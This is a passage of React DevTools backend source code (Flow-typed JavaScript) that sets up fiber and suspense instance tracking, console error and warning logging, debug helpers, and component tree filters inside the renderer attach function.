UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE,\n} from '../../constants';\nimport {inspectHooksOfFiber} from 'react-debug-tools';\nimport {\n  CONCURRENT_MODE_NUMBER,\n  CONCURRENT_MODE_SYMBOL_STRING,\n  DEPRECATED_ASYNC_MODE_SYMBOL_STRING,\n  PROVIDER_NUMBER,\n  PROVIDER_SYMBOL_STRING,\n  CONTEXT_NUMBER,\n  CONTEXT_SYMBOL_STRING,\n  CONSUMER_SYMBOL_STRING,\n  STRICT_MODE_NUMBER,\n  STRICT_MODE_SYMBOL_STRING,\n  PROFILER_NUMBER,\n  PROFILER_SYMBOL_STRING,\n  LAZY_SYMBOL_STRING,\n  REACT_OPTIMISTIC_KEY,\n} from '../shared/ReactSymbols';\nimport {enableStyleXFeatures} from 'react-devtools-feature-flags';\n\nimport {componentInfoToComponentLogsMap} from '../shared/DevToolsServerComponentLogs';\n\nimport {getIODescription} from 'shared/ReactIODescription';\n\nimport {\n  getPublicInstance,\n  getNativeTag,\n  getCurrentTime,\n} from 'react-devtools-shared/src/backend/DevToolsNativeHost';\nimport {\n  isError,\n  rootSupportsProfiling,\n  isErrorBoundary,\n  getSecondaryEnvironmentName,\n  areEqualRects,\n} from './shared/DevToolsFiberInspection';\nimport {\n  didFiberRender,\n  getContextChanged,\n  getChangedHooksIndices,\n  getChangedKeys,\n} from './shared/DevToolsFiberChangeDetection';\nimport {getInternalReactConstants} from './shared/DevToolsFiberInternalReactConstants';\nimport {\n  ioExistsInSuspenseAncestor,\n  getAwaitInSuspendedByFromIO,\n  getVirtualEndTime,\n} from './shared/DevToolsFiberSuspense';\n\nimport {\n  getStackByFiberInDevAndProd,\n  getOwnerStackByFiberInDev,\n  supportsOwnerStacks,\n  supportsConsoleTasks,\n} from './DevToolsFiberComponentStack';\n\nimport {getStyleXData} from '../StyleX/utils';\nimport {createProfilingHooks} from '../profilingHooks';\n\nimport type {GetTimelineData, ToggleProfilingStatus} from '../profilingHooks';\nimport type {Fiber, FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  ChangeDescription,\n  CommitDataBackend,\n  DevToolsHook,\n  InspectedElement,\n  InspectedElementPayload,\n  InstanceAndStyle,\n  HostInstance,\n  PathFrame,\n  PathMatch,\n  ProfilingDataBackend,\n  ProfilingDataForRootBackend,\n  ReactRenderer,\n  Rect,\n  RendererInterface,\n  SerializedElement,\n  SerializedAsyncInfo,\n  CurrentDispatcherRef,\n  LegacyDispatcherRef,\n  ProfilingSettings,\n} from '../types';\nimport type {\n  ComponentFilter,\n  ActivitySliceFilter,\n  ElementType,\n  Plugins,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\nimport type {\n  FiberInstance,\n  FilteredFiberInstance,\n  VirtualInstance,\n  DevToolsInstance,\n  SuspenseNode,\n} from './shared/DevToolsFiberTypes';\nimport {\n  FIBER_INSTANCE,\n  VIRTUAL_INSTANCE,\n  FILTERED_FIBER_INSTANCE,\n} from './shared/DevToolsFiberTypes';\nimport {getSourceLocationByFiber} from './DevToolsFiberComponentStack';\nimport {formatOwnerStack} from '../shared/DevToolsOwnerStack';\n\nfunction createFiberInstance(fiber: Fiber): FiberInstance {\n  return {\n    kind: FIBER_INSTANCE,\n    id: getUID(),\n    parent: null,\n    firstChild: null,\n    nextSibling: null,\n    source: null,\n    logCount: 0,\n    treeBaseDuration: 0,\n    suspendedBy: null,\n    suspenseNode: null,\n    data: fiber,\n  };\n}\n\n// This is used to represent a filtered Fiber but still lets us find its host instance.\nfunction createFilteredFiberInstance(fiber: Fiber): FilteredFiberInstance {\n  return ({\n    kind: FILTERED_FIBER_INSTANCE,\n    id: 0,\n    parent: null,\n    firstChild: null,\n    nextSibling: null,\n    source: null,\n    logCount: 0,\n    treeBaseDuration: 0,\n    suspendedBy: null,\n    suspenseNode: null,\n    data: fiber,\n  }: any);\n}\n\nfunction createVirtualInstance(\n  debugEntry: ReactComponentInfo,\n): VirtualInstance {\n  return {\n    kind: VIRTUAL_INSTANCE,\n    id: getUID(),\n    parent: null,\n    firstChild: null,\n    nextSibling: null,\n    source: null,\n    logCount: 0,\n    treeBaseDuration: 0,\n    suspendedBy: null,\n    suspenseNode: null,\n    data: debugEntry,\n  };\n}\n\n// Update flags need to be propagated up until the caller that put the corresponding\n// node on the stack.\n// If you push a new node, you need to handle ShouldResetChildren when you pop it.\n// If you push a new Suspense node, you need to handle ShouldResetSuspenseChildren when you pop it.\ntype UpdateFlags = number;\nconst NoUpdate = /*                          */ 0b000;\nconst ShouldResetChildren = /*               */ 0b001;\nconst ShouldResetSuspenseChildren = /*       */ 0b010;\nconst ShouldResetParentSuspenseChildren = /* */ 0b100;\n\nfunction createSuspenseNode(\n  instance: FiberInstance | FilteredFiberInstance,\n): SuspenseNode {\n  return (instance.suspenseNode = {\n    instance: instance,\n    parent: null,\n    firstChild: null,\n    nextSibling: null,\n    rects: null,\n    suspendedBy: new Map(),\n    environments: new Map(),\n    endTime: 0,\n    hasUniqueSuspenders: false,\n    hasUnknownSuspenders: false,\n  });\n}\n\nexport function getDispatcherRef(renderer: {\n  +currentDispatcherRef?: LegacyDispatcherRef | CurrentDispatcherRef,\n  ...\n}): void | CurrentDispatcherRef {\n  if (renderer.currentDispatcherRef === undefined) {\n    return undefined;\n  }\n  const injectedRef = renderer.currentDispatcherRef;\n  if (\n    typeof injectedRef.H === 'undefined' &&\n    typeof injectedRef.current !== 'undefined'\n  ) {\n    // We got a legacy dispatcher injected, let's create a wrapper proxy to translate.\n    return {\n      get H() {\n        return (injectedRef: any).current;\n      },\n      set H(value) {\n        (injectedRef: any).current = value;\n      },\n    };\n  }\n  return (injectedRef: any);\n}\n\n// All environment names we've seen so far. This lets us create a list of filters to apply.\n// This should ideally include env of filtered Components too so that you can add those as\n// filters at the same time as removing some other filter.\nconst knownEnvironmentNames: Set<string> = new Set();\n\n// Map of FiberRoot to their root FiberInstance.\nconst rootToFiberInstanceMap: Map<FiberRoot, FiberInstance> = new Map();\n\n// Map of id to FiberInstance or VirtualInstance.\n// This Map is used to e.g. get the display name for a Fiber or schedule an update,\n// operations that should be the same whether the current and work-in-progress Fiber is used.\nconst idToDevToolsInstanceMap: Map<\n  FiberInstance['id'] | VirtualInstance['id'],\n  FiberInstance | VirtualInstance,\n> = new Map();\n\nlet focusedActivityID: null | FiberInstance['id'] = null;\nlet focusedActivity: null | Fiber = null;\n\nconst idToSuspenseNodeMap: Map<FiberInstance['id'], SuspenseNode> = new Map();\n\n// Map of canonical HostInstances to the nearest parent DevToolsInstance.\nconst publicInstanceToDevToolsInstanceMap: Map<HostInstance, DevToolsInstance> =\n  new Map();\n// Map of resource DOM nodes to all the nearest DevToolsInstances that depend on it.\nconst hostResourceToDevToolsInstanceMap: Map<\n  HostInstance,\n  Set<DevToolsInstance>,\n> = new Map();\n\nfunction aquireHostInstance(\n  nearestInstance: DevToolsInstance,\n  hostInstance: HostInstance,\n): void {\n  const publicInstance = getPublicInstance(hostInstance);\n  publicInstanceToDevToolsInstanceMap.set(publicInstance, nearestInstance);\n}\n\nfunction releaseHostInstance(\n  nearestInstance: DevToolsInstance,\n  hostInstance: HostInstance,\n): void {\n  const publicInstance = getPublicInstance(hostInstance);\n  if (\n    publicInstanceToDevToolsInstanceMap.get(publicInstance) === nearestInstance\n  ) {\n    publicInstanceToDevToolsInstanceMap.delete(publicInstance);\n  }\n}\n\nfunction aquireHostResource(\n  nearestInstance: DevToolsInstance,\n  resource: ?{instance?: HostInstance},\n): void {\n  const hostInstance = resource && resource.instance;\n  if (hostInstance) {\n    const publicInstance = getPublicInstance(hostInstance);\n    let resourceInstances =\n      hostResourceToDevToolsInstanceMap.get(publicInstance);\n    if (resourceInstances === undefined) {\n      resourceInstances = new Set();\n      hostResourceToDevToolsInstanceMap.set(publicInstance, resourceInstances);\n      // Store the first match in the main map for quick access when selecting DOM node.\n      publicInstanceToDevToolsInstanceMap.set(publicInstance, nearestInstance);\n    }\n    resourceInstances.add(nearestInstance);\n  }\n}\n\nfunction releaseHostResource(\n  nearestInstance: DevToolsInstance,\n  resource: ?{instance?: HostInstance},\n): void {\n  const hostInstance = resource && resource.instance;\n  if (hostInstance) {\n    const publicInstance = getPublicInstance(hostInstance);\n    const resourceInstances =\n      hostResourceToDevToolsInstanceMap.get(publicInstance);\n    if (resourceInstances !== undefined) {\n      resourceInstances.delete(nearestInstance);\n      if (resourceInstances.size === 0) {\n        hostResourceToDevToolsInstanceMap.delete(publicInstance);\n        publicInstanceToDevToolsInstanceMap.delete(publicInstance);\n      } else if (\n        publicInstanceToDevToolsInstanceMap.get(publicInstance) ===\n        nearestInstance\n      ) {\n        // This was the first one. Store the next first one in the main map for easy access.\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const firstInstance of resourceInstances) {\n          publicInstanceToDevToolsInstanceMap.set(\n            publicInstance,\n            firstInstance,\n          );\n          break;\n        }\n      }\n    }\n  }\n}\n\nexport function attach(\n  hook: DevToolsHook,\n  rendererID: number,\n  renderer: ReactRenderer,\n  global: Object,\n  shouldStartProfilingNow: boolean,\n  profilingSettings: ProfilingSettings,\n  componentFiltersOrComponentFiltersPromise:\n    | Array<ComponentFilter>\n    | Promise<Array<ComponentFilter>>,\n): RendererInterface {\n  // Newer versions of the reconciler package also specific reconciler version.\n  // If that version number is present, use it.\n  // Third party renderer versions may not match the reconciler version,\n  // and the latter is what's important in terms of tags and symbols.\n  const version = renderer.reconcilerVersion || renderer.version;\n\n  const {\n    getDisplayNameForFiber,\n    getTypeSymbol,\n    ReactPriorityLevels,\n    ReactTypeOfWork,\n    StrictModeBits,\n    SuspenseyImagesMode,\n  } = getInternalReactConstants(version);\n  const {\n    ActivityComponent,\n    ClassComponent,\n    DehydratedSuspenseComponent,\n    ForwardRef,\n    Fragment,\n    FunctionComponent,\n    HostRoot,\n    HostHoistable,\n    HostSingleton,\n    HostPortal,\n    HostComponent,\n    HostText,\n    IncompleteClassComponent,\n    IncompleteFunctionComponent,\n    IndeterminateComponent,\n    LegacyHiddenComponent,\n    MemoComponent,\n    OffscreenComponent,\n    SimpleMemoComponent,\n    SuspenseComponent,\n    SuspenseListComponent,\n    TracingMarkerComponent,\n    Throw,\n    ViewTransitionComponent,\n  } = ReactTypeOfWork;\n  const {\n    ImmediatePriority,\n    UserBlockingPriority,\n    NormalPriority,\n    LowPriority,\n    IdlePriority,\n    NoPriority,\n  } = ReactPriorityLevels;\n\n  const {\n    getLaneLabelMap,\n    injectProfilingHooks,\n    overrideHookState,\n    overrideHookStateDeletePath,\n    overrideHookStateRenamePath,\n    overrideProps,\n    overridePropsDeletePath,\n    overridePropsRenamePath,\n    scheduleRefresh,\n    setErrorHandler,\n    setSuspenseHandler,\n    scheduleUpdate,\n    scheduleRetry,\n    getCurrentFiber,\n  } = renderer;\n  const supportsTogglingError =\n    typeof setErrorHandler === 'function' &&\n    typeof scheduleUpdate === 'function';\n  const supportsTogglingSuspense =\n    typeof setSuspenseHandler === 'function' &&\n    typeof scheduleUpdate === 'function';\n  const supportsPerformanceTracks = gte(version, '19.2.0');\n\n  if (typeof scheduleRefresh === 'function') {\n    // When Fast Refresh updates a component, the frontend may need to purge cached information.\n    // For example, ASTs cached for the component (for named hooks) may no longer be valid.\n    // Send a signal to the frontend to purge this cached information.\n    // The \"fastRefreshScheduled\" dispatched is global (not Fiber or even Renderer specific).\n    // This is less effecient since it means the front-end will need to purge the entire cache,\n    // but this is probably an okay trade off in order to reduce coupling between the DevTools and Fast Refresh.\n    renderer.scheduleRefresh = (...args) => {\n      try {\n        hook.emit('fastRefreshScheduled');\n      } finally {\n        return scheduleRefresh(...args);\n      }\n    };\n  }\n\n  let getTimelineData: null | GetTimelineData = null;\n  let toggleProfilingStatus: null | ToggleProfilingStatus = null;\n  if (typeof injectProfilingHooks === 'function') {\n    const response = createProfilingHooks({\n      getDisplayNameForFiber,\n      getIsProfiling: () => isProfiling,\n      getLaneLabelMap,\n      currentDispatcherRef: getDispatcherRef(renderer),\n      workTagMap: ReactTypeOfWork,\n      reactVersion: version,\n    });\n\n    // Pass the Profiling hooks to the reconciler for it to call during render.\n    injectProfilingHooks(response.profilingHooks);\n\n    // Hang onto this toggle so we can notify the external methods of profiling status changes.\n    getTimelineData = response.getTimelineData;\n    toggleProfilingStatus = response.toggleProfilingStatus;\n  }\n\n  type ComponentLogs = {\n    errors: Map<string, number>,\n    errorsCount: number,\n    warnings: Map<string, number>,\n    warningsCount: number,\n  };\n  // Tracks Errors/Warnings logs added to a Fiber. They are added before the commit and get\n  // picked up a FiberInstance. This keeps it around as long as the Fiber is alive which\n  // lets the Fiber get reparented/remounted and still observe the previous errors/warnings.\n  // Unless we explicitly clear the logs from a Fiber.\n  const fiberToComponentLogsMap: WeakMap<Fiber, ComponentLogs> = new WeakMap();\n  // Tracks whether we've performed a commit since the last log. This is used to know\n  // whether we received any new logs between the commit and post commit phases. I.e.\n  // if any passive effects called console.warn / console.error.\n  let needsToFlushComponentLogs = false;\n\n  function bruteForceFlushErrorsAndWarnings(root: FiberInstance) {\n    // Refresh error/warning count for all mounted unfiltered Fibers.\n    let hasChanges = false;\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const devtoolsInstance of idToDevToolsInstanceMap.values()) {\n      if (devtoolsInstance.kind === FIBER_INSTANCE) {\n        const fiber = devtoolsInstance.data;\n        const componentLogsEntry = fiberToComponentLogsMap.get(fiber);\n        const changed = recordConsoleLogs(devtoolsInstance, componentLogsEntry);\n        if (changed) {\n          hasChanges = true;\n          updateMostRecentlyInspectedElementIfNecessary(devtoolsInstance.id);\n        }\n      } else {\n        // Virtual Instances cannot log in passive effects and so never appear here.\n      }\n    }\n    if (hasChanges) {\n      flushPendingEvents(root);\n    }\n  }\n\n  function clearErrorsAndWarnings() {\n    // Note, this only clears logs for Fibers that have instances. If they're filtered\n    // and then mount, the logs are there. Ensuring we only clear what you've seen.\n    // If we wanted to clear the whole set, we'd replace fiberToComponentLogsMap with a\n    // new WeakMap. It's unclear whether we should clear componentInfoToComponentLogsMap\n    // since it's shared by other renderers but presumably it would.\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const devtoolsInstance of idToDevToolsInstanceMap.values()) {\n      if (devtoolsInstance.kind === FIBER_INSTANCE) {\n        const fiber = devtoolsInstance.data;\n        fiberToComponentLogsMap.delete(fiber);\n        if (fiber.alternate) {\n          fiberToComponentLogsMap.delete(fiber.alternate);\n        }\n      } else {\n        componentInfoToComponentLogsMap.delete(devtoolsInstance.data);\n      }\n      const changed = recordConsoleLogs(devtoolsInstance, undefined);\n      if (changed) {\n        updateMostRecentlyInspectedElementIfNecessary(devtoolsInstance.id);\n      }\n    }\n    flushPendingEvents(null);\n  }\n\n  function clearConsoleLogsHelper(instanceID: number, type: 'error' | 'warn') {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(instanceID);\n    if (devtoolsInstance !== undefined) {\n      let componentLogsEntry;\n      if (devtoolsInstance.kind === FIBER_INSTANCE) {\n        const fiber = devtoolsInstance.data;\n        componentLogsEntry = fiberToComponentLogsMap.get(fiber);\n\n        if (componentLogsEntry === undefined && fiber.alternate !== null) {\n          componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);\n        }\n      } else {\n        const componentInfo = devtoolsInstance.data;\n        componentLogsEntry = componentInfoToComponentLogsMap.get(componentInfo);\n      }\n      if (componentLogsEntry !== undefined) {\n        if (type === 'error') {\n          componentLogsEntry.errors.clear();\n          componentLogsEntry.errorsCount = 0;\n        } else {\n          componentLogsEntry.warnings.clear();\n          componentLogsEntry.warningsCount = 0;\n        }\n        const changed = recordConsoleLogs(devtoolsInstance, componentLogsEntry);\n        if (changed) {\n          flushPendingEvents(null);\n          updateMostRecentlyInspectedElementIfNecessary(devtoolsInstance.id);\n        }\n      }\n    }\n  }\n\n  function clearErrorsForElementID(instanceID: number) {\n    clearConsoleLogsHelper(instanceID, 'error');\n  }\n\n  function clearWarningsForElementID(instanceID: number) {\n    clearConsoleLogsHelper(instanceID, 'warn');\n  }\n\n  function updateMostRecentlyInspectedElementIfNecessary(\n    fiberID: number,\n  ): void {\n    if (\n      mostRecentlyInspectedElement !== null &&\n      mostRecentlyInspectedElement.id === fiberID\n    ) {\n      hasElementUpdatedSinceLastInspected = true;\n    }\n  }\n\n  function getComponentStack(\n    topFrame: Error,\n  ): null | {enableOwnerStacks: boolean, componentStack: string} {\n    if (getCurrentFiber == null) {\n      // Expected this to be part of the renderer. Ignore.\n      return null;\n    }\n    const current = getCurrentFiber();\n    if (current === null) {\n      // Outside of our render scope.\n      return null;\n    }\n\n    if (supportsConsoleTasks(current)) {\n      // This will be handled natively by console.createTask. No need for\n      // DevTools to add it.\n      return null;\n    }\n\n    const dispatcherRef = getDispatcherRef(renderer);\n    if (dispatcherRef === undefined) {\n      return null;\n    }\n\n    const enableOwnerStacks = supportsOwnerStacks(current);\n    let componentStack = '';\n    if (enableOwnerStacks) {\n      // Prefix the owner stack with the current stack. I.e. what called\n      // console.error. While this will also be part of the native stack,\n      // it is hidden and not presented alongside this argument so we print\n      // them all together.\n      const topStackFrames = formatOwnerStack(topFrame);\n      if (topStackFrames) {\n        componentStack += '\\n' + topStackFrames;\n      }\n      componentStack += getOwnerStackByFiberInDev(\n        ReactTypeOfWork,\n        current,\n        dispatcherRef,\n      );\n    } else {\n      componentStack = getStackByFiberInDevAndProd(\n        ReactTypeOfWork,\n        current,\n        dispatcherRef,\n      );\n    }\n    return {enableOwnerStacks, componentStack};\n  }\n\n  // Called when an error or warning is logged during render, commit, or passive (including unmount functions).\n  function onErrorOrWarning(\n    type: 'error' | 'warn',\n    args: $ReadOnlyArray<any>,\n  ): void {\n    if (getCurrentFiber == null) {\n      // Expected this to be part of the renderer. Ignore.\n      return;\n    }\n    const fiber = getCurrentFiber();\n    if (fiber === null) {\n      // Outside of our render scope.\n      return;\n    }\n    if (type === 'error') {\n      // if this is an error simulated by us to trigger error boundary, ignore\n      if (\n        forceErrorForFibers.get(fiber) === true ||\n        (fiber.alternate !== null &&\n          forceErrorForFibers.get(fiber.alternate) === true)\n      ) {\n        return;\n      }\n    }\n\n    // We can't really use this message as a unique key, since we can't distinguish\n    // different objects in this implementation. We have to delegate displaying of the objects\n    // to the environment, the browser console, for example, so this is why this should be kept\n    // as an array of arguments, instead of the plain string.\n    // [Warning: %o, {...}] and [Warning: %o, {...}] will be considered as the same message,\n    // even if objects are different\n    const message = formatConsoleArgumentsToSingleString(...args);\n\n    // Track the warning/error for later.\n    let componentLogsEntry = fiberToComponentLogsMap.get(fiber);\n    if (componentLogsEntry === undefined && fiber.alternate !== null) {\n      componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);\n      if (componentLogsEntry !== undefined) {\n        // Use the same set for both Fibers.\n        fiberToComponentLogsMap.set(fiber, componentLogsEntry);\n      }\n    }\n    if (componentLogsEntry === undefined) {\n      componentLogsEntry = {\n        errors: new Map(),\n        errorsCount: 0 as number,\n        warnings: new Map(),\n        warningsCount: 0 as number,\n      };\n      fiberToComponentLogsMap.set(fiber, componentLogsEntry);\n    }\n\n    const messageMap =\n      type === 'error'\n        ? componentLogsEntry.errors\n        : componentLogsEntry.warnings;\n    const count = messageMap.get(message) || 0;\n    messageMap.set(message, count + 1);\n    if (type === 'error') {\n      componentLogsEntry.errorsCount++;\n    } else {\n      componentLogsEntry.warningsCount++;\n    }\n\n    // The changes will be flushed later when we commit.\n\n    // If the log happened in a passive effect, then this happens after we've\n    // already committed the new tree so the change won't show up until we rerender\n    // that component again. We need to visit a Component with passive effects in\n    // handlePostCommitFiberRoot again to ensure that we flush the changes after passive.\n    needsToFlushComponentLogs = true;\n  }\n\n  function debug(\n    name: string,\n    instance: DevToolsInstance,\n    parentInstance: null | DevToolsInstance,\n    extraString: string = '',\n  ): void {\n    if (__DEBUG__) {\n      const displayName =\n        instance.kind === VIRTUAL_INSTANCE\n          ? instance.data.name || 'null'\n          : instance.data.tag +\n            ':' +\n            (getDisplayNameForFiber(instance.data) || 'null');\n\n      const maybeID =\n        instance.kind === FILTERED_FIBER_INSTANCE ? '<no id>' : instance.id;\n\n      const parentDisplayName =\n        parentInstance === null\n          ? ''\n          : parentInstance.kind === VIRTUAL_INSTANCE\n            ? parentInstance.data.name || 'null'\n            : parentInstance.data.tag +\n              ':' +\n              (getDisplayNameForFiber(parentInstance.data) || 'null');\n\n      const maybeParentID =\n        parentInstance === null ||\n        parentInstance.kind === FILTERED_FIBER_INSTANCE\n          ? '<no id>'\n          : parentInstance.id;\n\n      console.groupCollapsed(\n        `[renderer] %c${name} %c${displayName} (${maybeID}) %c${\n          parentInstance ? `${parentDisplayName} (${maybeParentID})` : ''\n        } %c${extraString}`,\n        'color: red; font-weight: bold;',\n        'color: blue;',\n        'color: purple;',\n        'color: black;',\n      );\n      console.log(new Error().stack.split('\\n').slice(1).join('\\n'));\n      console.groupEnd();\n    }\n  }\n\n  // eslint-disable-next-line no-unused-vars\n  function debugTree(instance: DevToolsInstance, indent: number = 0) {\n    if (__DEBUG__) {\n      const name =\n        (instance.kind !== VIRTUAL_INSTANCE\n          ? getDisplayNameForFiber(instance.data)\n          : instance.data.name) || '';\n      console.log(\n        '  '.repeat(indent) +\n          '- ' +\n          (instance.kind === FILTERED_FIBER_INSTANCE ? 0 : instance.id) +\n          ' (' +\n          name +\n          ')',\n        'parent',\n        instance.parent === null\n          ? ' '\n          : instance.parent.kind === FILTERED_FIBER_INSTANCE\n            ? 0\n            : instance.parent.id,\n        'next',\n        instance.nextSibling === null ? ' ' : instance.nextSibling.id,\n      );\n      let child = instance.firstChild;\n      while (child !== null) {\n        debugTree(child, indent + 1);\n        child = child.nextSibling;\n      }\n    }\n  }\n\n  // Configurable Components tree filters.\n  const hideElementsWithDisplayNames: Set<RegExp> = new Set();\n  const hideElementsWithPaths: Set<RegExp> = new Set();\n  const hideElementsWithTypes: Set<ElementType> = new Set();\n  const hideElementsWithEnvs: Set<string> = new Set();\n  let isInFocusedActivity: boolean = true;\n\n  // Highlight updates\n  let traceUpdatesEnabled: boolean = false;\n  const traceUpdatesForNodes: Set<HostInstance> = new Set();\n\n  function applyComponentFilters(\n    componentFilters: Array<ComponentFilter>,\n    nextActivitySlice: null | Fiber,\n  ) {\n    hideElementsWithTypes.clear();\n    hideElementsWithDisplayNames.clear();\n    hideElementsWithPaths.clear();\n    hideElementsWithEnvs.clear();\n    const previousFocusedActivityID = focusedActivityID;\n    focusedActivityID = null;\n    focusedActivity = null;\n    // Consider everything in the slice by default\n    isInFocusedActivity = true;\n\n    componentFilters.forEach(componentFilter => {\n      if (!componentFilter.isEnabled) {\n        return;\n      }\n\n      switch (componentFilter.type) {\n        case ComponentFilterDisplayName:\n          if (componentFilter.isValid && componentFilter.value !== '') {\n            hideElementsWithDisplayNames.add(\n              new RegExp(componentFilter.value, 'i'),\n            );\n          }\n          break;\n        case ComponentFilterElementType:\n          hideElementsWithTypes.add(componentFilter.value);\n          break;\n        case ComponentFilterLocation:\n          if (componentFilter.isValid && componentFilter.value !== '') {\n            hideElementsWithPaths.add(new RegExp(componentFilter.value, 'i'));\n          }\n          break;\n        case ComponentFilterHOC:\n          hideElementsWithDisplayNames.add(new RegExp('\\\\('));\n          break;\n        case ComponentFilterEnvironmentName:\n          hideElementsWithEnvs.add(componentFilter.value);\n          break;\n        case ComponentFilterActivitySlice:\n          if (\n            nextActivitySlice !== null &&\n            nextActivitySlice.tag === ActivityComponent\n          ) {\n            focusedActivity = nextActivitySlice;\n            isInFocusedActivity = false;\n            if (componentFilter.rendererID !== rendererID) {\n              // We filtered an Activity from another renderer.\n              // We need to restore the instance ID since we won't be mounting it\n              // in this renderer.\n              focusedActivityID = previousFocusedActivityID;\n            }\n          } else {\n            // We're not filtering by activity slice after all.\n            // Don't mark the filter as disabled here.\n            // Otherwise updateComponentFilters() will think no enabled filter was changed.\n          }\n          break;\n        default:\n          console.warn(\n            `Invalid component filter type \"${componentFilter.type}\"`,\n          );\n          break;\n      }\n    });\n  }\n\n  if (Array.isArray(componentFiltersOrComponentFiltersPromise)) {\n    applyComponentFilters(componentFiltersOrComponentFiltersPromise, null);\n  } else {\n    componentFiltersOrComponentFiltersPromise.then(componentFilters => {\n      applyComponentFilters(componentFilters, null);\n    });\n  }\n\n  // If necessary, we can revisit optimizing this operation.\n  // For example, we could add a new recursive unmount tree operation.\n  // The unmount operations are already significantly smaller than mount operations though.\n  // This is something to keep in mind for later.\n  function updateComponentFilters(componentFilters: Array<ComponentFilter>) {\n    if (isProfiling) {\n      // Re-mounting a tree while profiling is in progress might break a lot of assumptions.\n      // If necessary, we could support this- but it doesn't seem like a necessary use case.\n      // Supporting change of filters while profiling would require a refactor\n      // to flush after each root instead of at the end.\n      throw Error('Cannot modify filter preferences while profiling');\n    }\n\n    const previousForcedFallbacks =\n      forceFallbackForFibers.size > 0 ? new Set(forceFallbackForFibers) : null;\n    const previousForcedErrors =\n      forceErrorForFibers.size > 0 ? new Map(forceErrorForFibers) : null;\n\n    // The ID will be based on the old tree. We need to find the Fiber based on\n    // that ID before we unmount everything. We set the activity slice ID once\n    // we mount it again.\n    let nextFocusedActivity: null | Fiber = null;\n    let focusedActivityFilter: null | ActivitySliceFilter = null;\n    for (let i = 0; i < componentFilters.length; i++) {\n      const filter = componentFilters[i];\n      if (filter.type === ComponentFilterActivitySlice && filter.isEnabled) {\n        focusedActivityFilter = filter;\n        const instance = idToDevToolsInstanceMap.get(filter.activityID);\n        if (instance !== undefined && instance.kind === FIBER_INSTANCE) {\n          nextFocusedActivity = instance.data;\n        }\n      }\n    }\n\n    // Recursively unmount all roots.\n    hook.getFiberRoots(rendererID).forEach(root => {\n      const rootInstance = rootToFiberInstanceMap.get(root);\n      if (rootInstance === undefined) {\n        throw new Error(\n          'Expected the root instance to already exist when applying filters',\n        );\n      }\n      currentRoot = rootInstance;\n      unmountInstanceRecursively(rootInstance);\n      rootToFiberInstanceMap.delete(root);\n      currentRoot = (null: any);\n    });\n\n    if (\n      nextFocusedActivity !== focusedActivity &&\n      (focusedActivityFilter === null ||\n        focusedActivityFilter.rendererID === rendererID)\n    ) {\n      // When we find the applied instance during mount we will send the actual ID.\n      // Otherwise 0 will indicate that we unfocused the activity slice.\n      pushOperation(TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE);\n      pushOperation(0);\n    }\n    applyComponentFilters(componentFilters, nextFocusedActivity);\n\n    // Reset pseudo counters so that new path selections will be persisted.\n    rootDisplayNameCounter.clear();\n\n    // We just cleared all the forced states. Schedule updates on the affected Fibers\n    // so that we get their initial states again according to the new filters.\n    if (typeof scheduleUpdate === 'function') {\n      if (previousForcedFallbacks !== null) {\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const fiber of previousForcedFallbacks) {\n          if (typeof scheduleRetry === 'function') {\n            scheduleRetry(fiber);\n          } else {\n            scheduleUpdate(fiber);\n          }\n        }\n      }\n      if (\n        previousForcedErrors !== null &&\n        typeof setErrorHandler === 'function'\n      ) {\n        // Unlike for Suspense, disabling the forced error state requires setting\n        // the status to false first. `shouldErrorFiberAccordingToMap` will clear\n        // the Fibers later.\n        setErrorHandler(shouldErrorFiberAccordingToMap);\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const [fiber, shouldError] of previousForcedErrors) {\n          forceErrorForFibers.set(fiber, false);\n          if (shouldError) {\n            if (typeof scheduleRetry === 'function') {\n              scheduleRetry(fiber);\n            } else {\n              scheduleUpdate(fiber);\n            }\n          }\n        }\n      }\n    }\n\n    // Recursively re-mount all roots with new filter criteria applied.\n    hook.getFiberRoots(rendererID).forEach(root => {\n      const current = root.current;\n      const newRoot = createFiberInstance(current);\n      rootToFiberInstanceMap.set(root, newRoot);\n      idToDevToolsInstanceMap.set(newRoot.id, newRoot);\n\n      // Before the traversals, remember to start tracking\n      // our path in case we have selection to restore.\n      if (trackedPath !== null) {\n        mightBeOnTrackedPath = true;\n      }\n\n      currentRoot = newRoot;\n      setRootPseudoKey(currentRoot.id, root.current);\n      mountFiberRecursively(root.current, false);\n      currentRoot = (null: any);\n    });\n\n    // We need to write back the new ID for the focused Fiber.\n    // Otherwise subsequent filter applications will try to focus based on the old ID.\n    // This is also relevant to filter across renderers.\n    if (focusedActivityFilter !== null && focusedActivityID !== null) {\n      focusedActivityFilter.activityID = focusedActivityID;\n    }\n\n    // We're not profiling so it's safe to flush without a specific root.\n    flushPendingEvents(null);\n\n    needsToFlushComponentLogs = false;\n  }\n\n  function getEnvironmentNames(): Array<string> {\n    return Array.from(knownEnvironmentNames);\n  }\n\n  function isFiberHydrated(fiber: Fiber): boolean {\n    if (OffscreenComponent === -1) {\n      throw new Error('not implemented for legacy suspense');\n    }\n    switch (fiber.tag) {\n      case HostRoot:\n        const rootState = fiber.memoizedState;\n        return !rootState.isDehydrated;\n      case SuspenseComponent:\n        const suspenseState = fiber.memoizedState;\n        return suspenseState === null || suspenseState.dehydrated === null;\n      default:\n        throw new Error('not implemented for work tag ' + fiber.tag);\n    }\n  }\n\n  function shouldFilterVirtual(\n    data: ReactComponentInfo,\n    secondaryEnv: null | string,\n  ): boolean {\n    if (!isInFocusedActivity) {\n      return true;\n    }\n\n    // For purposes of filtering Server Components are always Function Components.\n    // Environment will be used to filter Server vs Client.\n    // Technically they can be forwardRef and memo too but those filters will go away\n    // as those become just plain user space function components like any HoC.\n    if (hideElementsWithTypes.has(ElementTypeFunction)) {\n      return true;\n    }\n\n    if (hideElementsWithDisplayNames.size > 0) {\n      const displayName = data.name;\n      if (displayName != null) {\n        // eslint-disable-next-line 